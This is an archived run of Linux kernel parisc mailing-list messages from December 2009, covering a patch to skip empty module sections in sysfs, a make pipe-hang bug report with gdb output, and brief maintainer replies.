> > create_proc_entry() is going to be removed in fact.
> 
> Ok. Please add a sentence about which race you are worried about.
> This isn't to discuss the race - it's just informative to explain
> why there is a plan to replace the API. I'm willing to go along with
> that.
> 
> Are you removing create_proc_entry() ? Is this patch part of a grand plan?
> (All good things to include in a commit comment)
> 
> Also updating Documentation/filesystems/seq_file.txt would be very
> helpful given you understand why proc_create_data() should replace
> create_proc_entry().

yeah.  I didn't even know that this was the reason and I've been
applying the patches like crazy.  Heaven knows what a random developer
of a remote subsystem is supposed to make of such a patch.  Probably he
just assumes that someone else knows what's going on.

Alexey, please, don't do this.


Please send me some boilerplate text which I can paste into

thinkpad_acpi-convert-to-seq_file.patch
asus_acpi-convert-to-seq_file.patch
toshiba_acpi-convert-to-seq_file.patch
arm-convert-proc-cpu-aligment-to-seq_file.patch
proc_fops-convert-drivers-isdn-to-seq_file.patch
proc_fops-convert-drivers-isdn-to-seq_file-fix.patch
mpt-fusion-convert-to-seq_file.patch
pnpbios-convert-to-seq_file.patch
uml-convert-to-seq_file-proc_fops.patch
alpha-convert-srm-code-to-seq_file.patch
parisc-convert-proc-pdc-lcdled-to-seq_file.patch
via-pmu-convert-to-proc_fops-seq_file.patch
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] modules: don't export section names of empty sections via
	sysfs
Date: Thu, 3 Dec 2009 00:29:15 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20091202232915.GA2251@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259796571 6113 80.91.229.12 (2 Dec 2009 23:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Dec 2009 23:29:31 +0000 (UTC)
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, rusty@rustcorp.com.au, akpm@linux-foundation.org,
	James.Bottomley@HansenPartnership.com, roland@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 03 00:29:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NFydP-0007ma-Bs
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Dec 2009 00:29:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754634AbZLBX3P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Dec 2009 18:29:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755504AbZLBX3P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Dec 2009 18:29:15 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:36092 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754618AbZLBX3O (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Dec 2009 18:29:14 -0500
Original-Received: (qmail invoked by alias); 02 Dec 2009 23:29:19 -0000
Original-Received: from p4FDB266B.dip0.t-ipconnect.de (EHLO p100.box) [79.219.38.107]
  by mail.gmx.net (mp037) with SMTP; 03 Dec 2009 00:29:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18ul5ZIursuW2+9FmyxtVpVOvCtphTqC7Ktc+ivZ8
	J3sEH/lzk5FMnW
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2389 gmane.linux.kernel:921773
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2389>

[PATCH] modules: don't export section names of empty sections via sysfs

On the parisc architecture we face for each and every loaded kernel module
this kernel "badness warning":
  sysfs: cannot create duplicate filename '/module/ac97_bus/sections/.text'
  Badness at fs/sysfs/dir.c:487

Reason for that is, that on parisc all kernel modules do have multiple
.text sections due to the usage of the -ffunction-sections compiler flag
which is needed to reach all jump targets on this platform.

An objdump on such a kernel module gives:
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .note.gnu.build-id 00000024  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA            
  1 .text         00000000  00000000  00000000  00000058  2**0     
                  CONTENTS, ALLOC, LOAD, READONLY, CODE            
  2 .text.ac97_bus_match 0000001c  00000000  00000000  00000058  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE              
  3 .text         00000000  00000000  00000000  000000d4  2**0       
                  CONTENTS, ALLOC, LOAD, READONLY, CODE              
...
Since the .text sections are empty (size of 0 bytes) and won't be
loaded by the kernel module loader anyway, I don't see a reason
why such sections need to be listed under 
/sys/module/<module_name>/sections/<section_name> either.

The attached patch does solve this issue by not exporting section
names which are empty.

This fixes bugzilla http://bugzilla.kernel.org/show_bug.cgi?id=14703

Signed-off-by: Helge Deller <deller@gmx.de>
CC: rusty@rustcorp.com.au
CC: akpm@linux-foundation.org
CC: James.Bottomley@HansenPartnership.com
CC: roland@redhat.com
CC: dave@hiauly1.hia.nrc.ca

diff --git a/kernel/module.c b/kernel/module.c
index 8b7d880..5842a71 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1187,7 +1187,8 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 
 	/* Count loaded sections and allocate structures */
 	for (i = 0; i < nsect; i++)
-		if (sechdrs[i].sh_flags & SHF_ALLOC)
+		if (sechdrs[i].sh_flags & SHF_ALLOC
+		    && sechdrs[i].sh_size)
 			nloaded++;
 	size[0] = ALIGN(sizeof(*sect_attrs)
 			+ nloaded * sizeof(sect_attrs->attrs[0]),
@@ -1207,6 +1208,8 @@ static void add_sect_attrs(struct module *mod, unsigned int nsect,
 	for (i = 0; i < nsect; i++) {
 		if (! (sechdrs[i].sh_flags & SHF_ALLOC))
 			continue;
+		if (!sechdrs[i].sh_size)
+			continue;
 		sattr->address = sechdrs[i].sh_addr;
 		sattr->name = kstrdup(secstrings + sechdrs[i].sh_name,
 					GFP_KERNEL);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: make hangs reading pipe
Date: Wed, 2 Dec 2009 20:14:34 -0500 (EST)
Lines: 131
Approved: news@gmane.org
Message-ID: <20091203011435.5401D4FA3@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259802886 7525 80.91.229.12 (3 Dec 2009 01:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Dec 2009 01:14:46 +0000 (UTC)
Cc: carlos@systemhalted.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 03 02:14:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NG0HF-0002jR-Cz
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Dec 2009 02:14:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752871AbZLCBOa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Dec 2009 20:14:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753307AbZLCBOa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Dec 2009 20:14:30 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1924 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752871AbZLCBO3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Dec 2009 20:14:29 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5401D4FA3; Wed,  2 Dec 2009 20:14:34 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2390>

This is the second time make has hung reading a pipe.  It occurred
at exactly the same place in both cases (end of gcc bootstrap).

System is 32-bit UP kernel running on c3750.  I have seen it now with
2.6.30.9 and 2.6.31.6.  I have to think this is libc6 related.
Current version is 2.10.1-7.  I haven't seen the problem with 64-bit
kernel.

I also have noticed that logins via ssh and su take a long time after
the system runs for awhile.  They are quite right after boot.

Here's some random data that I collected from the first hang:

dave@hiauly6:~/gnu/gcc/objdir$ /usr/bin/gdb /usr/bin/make 4506
GNU gdb (GDB) 7.0-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/make...(no debugging symbols found)...done.
Attaching to program: /usr/bin/make, process 4506
Reading symbols from /lib/librt.so.1...Reading symbols from /usr/lib/debug/lib/librt-2.10.1.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/librt.so.1
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.10.1.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/libpthread.so.0...Reading symbols from /usr/lib/debug/lib/libpthread-2.10.1.so...done.
[Thread debugging using libthread_db enabled]
(no debugging symbols found)...done.
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/ld.so.1...Reading symbols from /usr/lib/debug/lib/ld-2.10.1.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld.so.1
0x4098607c in read () from /lib/libc.so.6
(gdb) bt
#0  0x4098607c in read () from /lib/libc.so.6
#1  0x0001eb6c in ?? ()
#2  0x0001ec4c in ?? ()
#3  0x00021af0 in main ()
(gdb) disass 0x4098606c 0x4098608c
Dump of assembler code from 0x4098606c to 0x4098608c:
0x4098606c <read+24>:   cmpib,<>,n 0,ret0,0x409860a0 <read+76>
0x40986070 <read+28>:   copy r19,r3
0x40986074 <read+32>:   be,l 100(sr2,r0),sr0,r31
0x40986078 <read+36>:   ldi 3,r20
0x4098607c <read+40>:   ldi -1000,r1
0x40986080 <read+44>:   cmpb,>>=,n r1,ret0,0x40986100 <read+172>
0x40986084 <read+48>:   copy r3,r19
0x40986088 <read+52>:   b,l 0x409a7c38,rp
End of assembler dump.

dave@hiauly6:/proc/4506$ cat status
Name:   make
State:  S (sleeping)
Tgid:   4506
Pid:    4506
PPid:   2836
TracerPid:      0
Uid:    1002    1002    1002    1002
Gid:    1002    1002    1002    1002
FDSize: 256
Groups: 0 4 100 119 1002 1003 
VmPeak:     3460 kB
VmSize:     3460 kB
VmLck:         0 kB
VmHWM:      2260 kB
VmRSS:      2240 kB
VmData:     1500 kB
VmStk:        88 kB
VmExe:       160 kB
VmLib:      1652 kB
VmPTE:        20 kB
Threads:        1
SigQ:   0/16382
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000001
SigCgt: 000000330002c006
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: fffffffffffffeff
voluntary_ctxt_switches:        27
nonvoluntary_ctxt_switches:     17

dave@hiauly6:/proc/4506/fdinfo$ cat 3
pos:    0
flags:  00

dave@hiauly6:/proc/4506/fd$ ls -l
total 0
l-wx------ 1 dave dave 64 Nov 29 11:00 0 -> /dev/null
l-wx------ 1 dave dave 64 Nov 29 11:00 1 -> /home/dave/gnu/gcc-4.5/objdir/build.log
l-wx------ 1 dave dave 64 Nov 29 11:00 2 -> /home/dave/gnu/gcc-4.5/objdir/build.log
lr-x------ 1 dave dave 64 Nov 29 11:00 3 -> pipe:[23677]
lr-x------ 1 dave dave 64 Nov 29 11:00 6 -> /home/dave/gnu/gcc-4.5/gcc-4.5
lr-x------ 1 dave dave 64 Nov 29 11:00 7 -> pipe:[23678]

Processes 23677 and 23678 are non existant.

In the current hang, I see:

dave@hiauly6:/proc/23324/fd$ ls -l
total 0
l-wx------ 1 dave dave 64 Dec  2 19:49 0 -> /dev/null
l-wx------ 1 dave dave 64 Dec  2 19:49 1 -> /home/dave/gnu/gcc-4.5/objdir/build.log
l-wx------ 1 dave dave 64 Dec  2 19:49 2 -> /home/dave/gnu/gcc-4.5/objdir/build.log
lr-x------ 1 dave dave 64 Dec  2 19:49 3 -> pipe:[1383769]
lr-x------ 1 dave dave 64 Dec  2 19:49 6 -> /home/dave/gnu/gcc-4.5/gcc-4.5
lr-x------ 1 dave dave 64 Dec  2 19:49 7 -> pipe:[1383770]

Not sure what the pipe numbers mean...

The current hang could be debugged more if anybody has further ideas.
Any thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] modules: don't export section names of empty sections via sysfs
Date: Thu, 3 Dec 2009 17:50:41 +1030
Lines: 12
Approved: news@gmane.org
Message-ID: <200912031750.41240.rusty@rustcorp.com.au>
References: <20091202232915.GA2251@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259824870 20318 80.91.229.12 (3 Dec 2009 07:21:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Dec 2009 07:21:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, akpm@linux-foundation.org,
	James.Bottomley@hansenpartnership.com, roland@redhat.com,
	dave@hiauly1.hia.nrc.ca, torvalds@linux-foundation.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 03 08:21:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NG5zo-0001pF-2U
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Dec 2009 08:21:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752075AbZLCHUw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2009 02:20:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752169AbZLCHUw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Dec 2009 02:20:52 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:40637 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752075AbZLCHUv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2009 02:20:51 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 05734B7BCC;
	Thu,  3 Dec 2009 18:20:57 +1100 (EST)
User-Agent: KMail/1.12.2 (Linux/2.6.31-15-generic; KDE/4.3.2; i686; ; )
In-Reply-To: <20091202232915.GA2251@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2391 gmane.linux.kernel:921878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2391>

On Thu, 3 Dec 2009 09:59:15 am Helge Deller wrote:
> [PATCH] modules: don't export section names of empty sections via sysfs

Thanks, applied.

Ah, I see Linus snuck this in before the release.  Excellent.
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] modules: don't export section names of empty sections
 via sysfs
Date: Thu, 03 Dec 2009 08:08:53 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1259849333.17964.48.camel@mulgrave.site>
References: <20091202232915.GA2251@p100.box>
	 <200912031750.41240.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259849353 4322 80.91.229.12 (3 Dec 2009 14:09:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Dec 2009 14:09:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	akpm@linux-foundation.org, roland@redhat.com,
	dave@hiauly1.hia.nrc.ca, torvalds@linux-foundation.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 03 15:09:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGCMe-0002sQ-GZ
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Dec 2009 15:09:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756029AbZLCOIx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2009 09:08:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756012AbZLCOIx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Dec 2009 09:08:53 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60257 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755977AbZLCOIw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2009 09:08:52 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DC93C8EE0E4;
	Thu,  3 Dec 2009 06:08:58 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id U++J7Q33W3Fy; Thu,  3 Dec 2009 06:08:58 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D2A368EE0E0;
	Thu,  3 Dec 2009 06:08:55 -0800 (PST)
In-Reply-To: <200912031750.41240.rusty@rustcorp.com.au>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2392 gmane.linux.kernel:921997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2392>

On Thu, 2009-12-03 at 17:50 +1030, Rusty Russell wrote:
> On Thu, 3 Dec 2009 09:59:15 am Helge Deller wrote:
> > [PATCH] modules: don't export section names of empty sections via sysfs
> 
> Thanks, applied.
> 
> Ah, I see Linus snuck this in before the release.  Excellent.

That's great.  The next step is probably to find out why the toolchain
is doing this ... generating zero length allocated segments seems to be
somewhat deviant behaviour ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] modules: don't export section names of empty sections
	via sysfs
Date: Thu, 3 Dec 2009 09:21:18 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20091203142118.GQ28962@bombadil.infradead.org>
References: <20091202232915.GA2251@p100.box> <200912031750.41240.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259850331 7316 80.91.229.12 (3 Dec 2009 14:25:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Dec 2009 14:25:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	akpm@linux-foundation.org, James.Bottomley@hansenpartnership.com,
	roland@redhat.com, dave@hiauly1.hia.nrc.ca,
	torvalds@linux-foundation.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 03 15:25:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGCYe-00006h-BK
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Dec 2009 15:21:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755921AbZLCOVQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2009 09:21:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755239AbZLCOVQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Dec 2009 09:21:16 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44394 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751459AbZLCOVQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2009 09:21:16 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NGCYY-0003WF-QM; Thu, 03 Dec 2009 14:21:18 +0000
Content-Disposition: inline
In-Reply-To: <200912031750.41240.rusty@rustcorp.com.au>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2393 gmane.linux.kernel:922002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2393>

On Thu, Dec 03, 2009 at 05:50:41PM +1030, Rusty Russell wrote:
> On Thu, 3 Dec 2009 09:59:15 am Helge Deller wrote:
> > [PATCH] modules: don't export section names of empty sections via sysfs
> 
> Thanks, applied.
> 
> Ah, I see Linus snuck this in before the release.  Excellent.
> Rusty.
> 

Thanks Rusty, Helge!

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. Bruce Fields" <bfields-vtMw8L3fJ9vSiEDVxGk4TQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 4/5] lockd: Remove unused nfsd headers #includes
Date: Thu, 3 Dec 2009 12:27:28 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20091203172728.GF1393@fieldses.org>
References: <4B0C1EB7.50508@panasas.com> <4B0C1FE0.8040105@panasas.com> <20091125201011.GG32502@fieldses.org> <20091125202323.GJ32502@fieldses.org> <4B0E76F5.1030006@panasas.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1259861213 13982 80.91.229.12 (3 Dec 2009 17:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Dec 2009 17:26:53 +0000 (UTC)
Cc: Linux Kernel <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	sparclinux <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-s390 <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	pNFS Mailing List <pnfs-6DNke4IJHB0gsBAKwltoeQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
To: Boaz Harrosh <bharrosh-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Dec 03 18:26:45 2009
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGFS0-00016s-JZ
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Thu, 03 Dec 2009 18:26:44 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755955AbZLCR0Z (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Thu, 3 Dec 2009 12:26:25 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1756113AbZLCR0Y
	(ORCPT <rfc822;linux-nfs-outgoing>); Thu, 3 Dec 2009 12:26:24 -0500
Original-Received: from fieldses.org ([174.143.236.118]:45174 "EHLO fieldses.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753458AbZLCR0X (ORCPT <rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 3 Dec 2009 12:26:23 -0500
Original-Received: from bfields by fieldses.org with local (Exim 4.69)
	(envelope-from <bfields-uC3wQj2KruNg9hUCZPvPmw@public.gmane.org>)
	id 1NGFSi-0000aa-5n; Thu, 03 Dec 2009 12:27:28 -0500
Content-Disposition: inline
In-Reply-To: <4B0E76F5.1030006-C4P08NqkoRlBDgjK7y7TUQ@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
